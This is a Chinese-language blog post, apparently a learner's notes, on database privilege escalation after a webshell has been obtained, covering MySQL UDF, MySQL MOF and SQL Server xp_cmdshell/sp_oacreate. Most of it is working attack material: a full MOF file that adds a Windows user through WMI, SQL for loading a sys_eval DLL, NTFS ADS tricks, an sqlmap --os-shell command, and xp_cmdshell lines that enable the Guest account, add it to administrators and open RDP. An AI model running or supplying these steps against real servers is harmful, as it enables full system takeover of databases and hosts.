数据库提权

MYSQL提权之UDF:

UDF 全称 ‘user defined function’,‘用户自定义函数’。是通过添加新函数,实现mysql中用户无法通过函数实现功能的拓展
具体原理讲不清楚,有点糊涂,网上关于这方面的资料感觉不是很多,先学会利用吧。

提权流程概述:

我们需要一个root用户权限,最高权限为超级管理员。因为root用户才会具备写入和导入功能,普通低权用户无法执行。如何实现拿到mysql的账号和密码?当我们拿下一个网站的shell的时候,上传一个暗月的数据库提权🐎。这里需要知道数据库的ip 账号和密码和数据库类型,在不存在站库分离的情况下,一般HOST就是我们的localhost。直接查询config.php或者db_creds.inc等即可查询到数据库连接的一些信息
在这里插入图片描述
连接成功后会出现以下界面:
在这里插入图片描述
接下的操作,就需要根据MYSQL的版本来实现:
当MYSQL本本>5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下
当MYSQL版本小于5.1,udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录,UDF.DLL所在的位置就是我们提权的重点

这里说一下为什么一定要是system32目录下。因为在MYSQL5之后,对DLL注册做了限制,所对应的DLL不能包含’/‘或者’’,也就是说不能是绝对路径,所以这里我们放到system32系统环境变量中直接调用,可以规避这个限制

MYSQL<5.1:

在进行提权之前使用命令看一下当前用户:

select user()

在这里插入图片描述

当MYSQL版本小于5.1的时候,我们可以直接将.dll文件导入到system目录中
在这里插入图片描述

这里我之前尝试了很多次都没有成功,网上关于这个🐎的介绍也很少。最后还是终于摸索出来了,太菜了。使用方式按照上图就可以了
我们需要知道自己的系统版本好,选择好对应的之后,更改路径目录为system32下然后导出即可
在这里插入图片描述

导入之后可以一键创建sys_eval命令拓展,也可以自行输入create function的mysql命令进行创建

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'moonudf.dll'

成功之后界面会给予你相应的显示。
然后自行测试一下是否成功即可
在这里插入图片描述

可以看到这里我们已经变为超级管理员

MYSQL>5.1:

依然是先查看自己的当前用户
在这里插入图片描述

最开始依然是上传数据库大🐎,然后自行获取到连接密码
我们前面提到过,如果MYSQL版本>5.1的话,需要将dll拓展上传到mysql(自己的路径)/lib/plugin目录中,但是MYSQL默认是不会有这个目录的,所以我们需要自行创建 ,用NTFS ADS流模式突破进而创建文件夹。

select @@basedir;  //查找到mysql的目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';    //利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';    //利用NTFS ADS创建plugin目录

在这里插入图片描述
连接成功,查看到版本号是5.7.26
依次执行NTFS ADS流模式命令

select @@basedir;

在这里插入图片描述

如果我们在不创建lib/plugin的情况下直接导入,那么会出现以下报错:
在这里插入图片描述

继续执行流文件信息:
发现遇到如下报错。

select 'It is dll' into dumpfile 'E:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\lib::$INDEX_ALLOCATION';

在这里插入图片描述

经查阅这里是因为对方开启了安全模式,我们是无法利用这个办法进行提权的,所以,为了完成今天的浮现,我们需要关闭安全模式。

secure_file_priv=""  (这个代码)

show global variables like 'secure%';
     当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出,此时无法提权
     当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权
     当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权
     而MYSQL版本>5.7之后,默认不为空,所以即使在my.ini中我也没有发现设置

将这个代码插入到 mysql 配置文件\my.ini的最后,重启服务,便可以关闭安全模式,或者将该处设置为空即可
在这里插入图片描述

很显然我这里是NULL,不能进行任何导入导出。所以必须修改这个变量
但是很遗憾的是,我查看了5.7 5.8的my.inc都没有这个选项,但是无妨,我们可以直接添加到末尾即可,记得要重启服务才能生效

在重启服务之后又出现了新的问题,提示权限不足,排查了一下报错发现这里不应该出现这个问题。确实不应该出现这个问题,除非是这个封装流创建文件这个方式有问题。在这里插入图片描述

这里先跳过数据流创建lib文件,为了复现我们手动创建一个/lib/plgin目录
然后和上面的步骤一样导入DLL即可
在这里插入图片描述

sqlmap

sqlmap -d mysql://root:xxxxxx@VPS:3306/mysql --os-shell

总结:

关于这个UDF提权,我们主要是拿到系统的超级管理员,而不是mysql的权限,这一点要注意。
UDF的关键主要是在于将DLL拓展文件导入到指定目录下,MYSQL版本>5.1之后的提权我在本地没有复现成功,都是需要手动创建目录,但是反过来一想, 都可以手动创建了,增删查改的功能那肯定也具备了,还差通过MYSQL提权这点东西?
虽然是复现完了,原理虽然有看,但是我还是不能很好的解释清楚这个原理。就权当是拓展惹的祸吧

MYSQL提权之MOF

分析与概述

原理:利用了c:/windows/system32/wbem/mof/目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,写入我们的cmd命令使其被带入执行,从而添加新用户提权。

我自己测试的主机上该目录下并没有该mof文件,因此我们直接导入一个文件。当然这里需要权限,一般来说MOF普通用户是无法执行操作的,即使是拿到了一个shell,也只是普通权限用户,利用条件有些苛刻。

利用条件:mysql5.7 开始默认使用 secure-file-priv 选项,不能随意选择导出路径,所以 mof 提权仅适用于以下条件:
网上有人说操作系统版本低于 win2008 (本文测试使用的08不能复现)即可,也有人说要小于03才可
数据库为 mysql<5.7 且知道登录账号密码并且允许外连(争对mof.php而言需要mysql外连)

流程概述:antword连接,然后上传.mof文件到有权限的文件夹,在antword中使用数据库管理插件执行sql操作:

等待一会即可
使用select user()查看是否添加成功

复现1

这里拿下shell,antword连接,上传准备好的.mof文件

#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user mofmof mofmof /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

这里我们准备添加账户和密码为mofmof的账号
通过antword执行SQL语句,将www目录下的文件导入到window/system32/wbem/mof/nullevt.mof下

select load_file("E:/phpStudy_pro/WWW/nullevt.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"

在这里插入图片描述
然后等一会,再次查询是否添加账户成功

cmd:net user :发现提权失败 应该是我的windows版本问题

复现2:

这里使用mof.php进行提权,antword拿下shell直接上传到🐎
在这里插入图片描述会自动传一个.mof到目标路径下,然后命令执行即可

SQL server提权

在学习提权之前建议自行安装SQLserver和SSMS,sqlserver图形化管理界面操作简单易懂,感觉比MYSQL,phpadmin操作起来方便许多
快速过一遍基础知识,熟悉一个MSSQL和MYSQL的不同

select @@version;       #查询数据库的版本
select @@servername;    #查询服务名
select host_name();     #查询主机名,如果是用navicat远程连接的话,主机名是本地的名字
select db_name();       #查询当前数据库名
select db_name(1);      #查询第一个数据库名
select db_name(2);      #查询第二个数据库名
select user;            #查询当前数据库的拥有者,结果为 dbo。dbo是每个数据库的默认用户,具有所有者权限,全称:datebaseOwner ,即DbOwner 
use tempdb              #切换到tempdb表  
top n                   #查询前n条记录
limit 2,3               #查询第2条开始的3条数据,也就是2,3,4
select substring('string',2,1)     #截取给定字符串的索引为2的1个字符
select ascii('a')                  #查询给定字符串的ascii值
select len('string')               #查询给定字符串的长度
EXEC sp_spaceused @updateusage = N'TRUE';  #查询当前数据库的大小
sp_spaceused '表名'                #查询指定表名的大小

判断是否是SA权限
select is_srvrolemember('sysadmin')     
判断是否是db_owner权限  
select is_member('db_owner')
判断是否是public权限
select is_srvrolemember('public')

SA权限xp_cmdshel执行系统命令

注意 前提一定公式SA权限
首先检查自身xp_cmdshell 是否打开,1就是打开了,0就是关闭了

select count(*) FROM master..sysobjects Where xtype = 'X' AND name = 'xp_cmdshell' 

我自己在本地测试的时候,虽然返回值为1,但是执行系统命令的时候依然不可执行,需要重新开启xp_cmdshell配置
在这里插入图片描述
成功执行系统命令:

execute('xp_cmdshell "whoami"') 

在这里插入图片描述
或许到系统权限之后,前提是获取的主机权限是administrators组里的:

可以执行系统权限之后,前提是获取的主机权限是administrators组里的
exec xp_cmdshell 'net user Guest 123456'              #给guest用户设置密码
exec xp_cmdshell 'net user Guest /active:yes'         #激活guest用户
exec xp_cmdshell 'net localgroup administrators Guest /add'  #将guest用户添加到administrators用户组
exec xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'        #开启3389端口

在本地开启xp_cmdshell之后我们得关闭:

execute('sp_configure "show advanced options",0')  #将该选项的值设置为0
execute('reconfigure')                             #保存设置
execute('sp_configure "xp_cmdshell", 0')           #将xp_cmdshell的值设置为0
execute('reconfigure')                             #保存设置
execute('sp_configure') 

SA权限sp_oacreate执行系统命令

首先看是否可以使用sp_oacreate执行系统命令:

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'whoami'

在这里插入图片描述
SQLserver阻止了对组件 ‘Ole Automation Procedures’ 的过程 ‘sys.sp_OACreate’ 的访问,可以使用以下命令打开

EXEC sp_configure 'show advanced options', 1;  
RECONFIGURE WITH OVERRIDE;  
EXEC sp_configure 'Ole Automation Procedures', 1;  
RECONFIGURE WITH OVERRIDE;  

再次执行上述命令,系统虽然执行但是没有回显
在这里插入图片描述
虽然没有回显,但是依然可以创建添加新用户



declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user hack Password@ /add'

提权总结

数据库提权不仅包括MYSQL,还包括SQL SEAVER、Oracle提权,这里对MYSQL提权要熟悉一点,有些地方自己也偷懒了,没去搭建环境
——————————————————————————————————————————————————————
总的来说MYSQL提权,只要知道了我们的最终目的,一切都不难
MYSQL中UDF提权是通过system32下导入dll拓展文件执行命令,一切的一切都是为了导入dll到这个目录下,原因是因为MYSQL4.0以上对注册dll路径进行了限制,路径不得包含’‘和’/’,因此只好导入到system32中去,这里呢建议直接使用moon.php,比较好用。
5.0<MYSQL<5.1直接导入到system32即可,MYSQL>5.1需要导入到MYSQL路径/lib/plugin,但是MYSQL默认是没有这个目录的,好像也是从4.0开始取消的还是一直没有,这里记不清楚了。因此需要我们去创建一个/lib/plugin,这里使用网上NTFS ADS流模式突破进而创建文件夹,但是本地复现一直失败,总是提示权限不足,但是一直是root权限,并且secure_file_priv="" 所以也不知道是什么原因出的错。secure_file_priv 这个参数很重要,个人感觉mysql提权利用比较困难。上面的所有一切,都需要secure_file_priv=这个参数为空才可以实现,它允许我们导入导出的路径

其次就是mof提权,mof提权就更简单了,但是利用条件感觉也很苛刻。将.mof上传到c:/windows/system32/wbem/mof/下去,原理可以简单理解为cmd会被带入执行。这里就不用区分版本了,适用于2003及其以下,至少我的08不行(懒得测了,电脑老是出问题),一般都是先传一个.mof到自己的WWW目录,然后使用蚁剑的数据库插件命执行命令导入到目标文件下,然后等待,net user查看是否创建用户成功即可。这里也使用了mof.php🐎,感觉也挺好用的,一键就导入了,我猜测是因为我这里版本的问题,没有复现成功,反正挺好用的。

然后就是关于SQL server提权,一共就学到了两个方法,还有其他方法,比如说权限备份差异写shell,打组合拳的骚操作等等,这些自己还是偷懒了,本地复现比较麻烦。后面遇到了再来操作操作

  • 1
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
Oracle数据库提权原理涉及到Oracle数据库的权限管理和用户权限控制机制。 在Oracle数据库中,权限是分层次的,包括系统级权限和对象级权限。系统级权限用于控制数据库整体的操作,如创建用户、分配角色等;对象级权限用于控制对具体数据库对象(如表、视图、存储过程等)的操作。 当一个用户连接到Oracle数据库时,会使用一个用户名和密码进行认证。用户可以被授予不同的权限,这些权限可以直接授予给用户,也可以通过角色间接授予给用户。 在提权过程中,一般可以通过以下几种方式实现: 1. 知道管理员账号:如果获得了管理员账号(如sys账号),就可以直接拥有系统级权限,并可以创建或修改其他用户的权限。 2. 注入攻击:通过利用数据库应用程序的漏洞,执行恶意代码来提权。例如,通过SQL注入攻击可以执行未经授权的SQL语句,从而获取更高级别的访问权限。 3. 通过未修补的漏洞:如果数据库服务器存在已知的未修补漏洞,攻击者可以利用这些漏洞来绕过权限限制,获得更高级别的访问权限。 4. 提权工具:一些专门用于提权的工具可以利用已知的漏洞或弱点,来获取更高级别的访问权限。 为了防止数据库提权攻击,建议采取以下措施: - 保持数据库软件和补丁的最新状态,定期更新数据库软件。 - 遵循最佳安全实践,如使用复杂的密码,定期更改密码,限制远程访问等。 - 对数据库应用程序进行安全审计和代码审查,修复潜在的漏洞。 - 限制用户的权限,并按照最小权限原则授予用户所需的权限。 - 监控数据库活动,及时发现并应对异常行为。 - 配置防火墙和入侵检测系统,及时检测和阻止潜在的攻击。 以上是Oracle数据库提权的一般原理和建议措施,具体情况可能会因数据库版本、配置和应用程序的不同而有所差异。在实际应用中,请根据具体情况采取相应的安全措施。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值